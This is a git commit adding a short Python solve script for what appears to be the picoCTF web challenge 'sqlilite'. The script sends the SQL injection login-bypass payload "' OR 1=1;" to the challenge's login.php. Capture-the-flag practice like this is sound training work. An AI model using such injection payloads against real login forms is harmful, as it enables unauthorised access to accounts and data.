web/sqlilite

This commit is contained in:
Oystein Kristoffer Tveit 2024-09-05 18:51:33 +02:00
parent aecaf4b417
commit d92516b7ee
Signed by: oysteikt
GPG Key ID: 9F2F7D8250F35146
1 changed files with 25 additions and 0 deletions

25
web/sqlilite/solve.py Executable file
View File

@ -0,0 +1,25 @@
#!/usr/bin/env nix-shell
#!nix-shell -p python3 -i python3 python3Packages.requests
import requests
# from bs4 import BeautifulSoup
BASE_URL = "http://saturn.picoctf.net:52814/"
def main():
s = requests.Session()
res = s.post(
BASE_URL + "login.php",
data = {
'username': "' OR 1=1;",
'password': 'asdf',
'submit': 'Login',
},
)
print(res)
print(res.text)
if __name__ == "__main__":
main()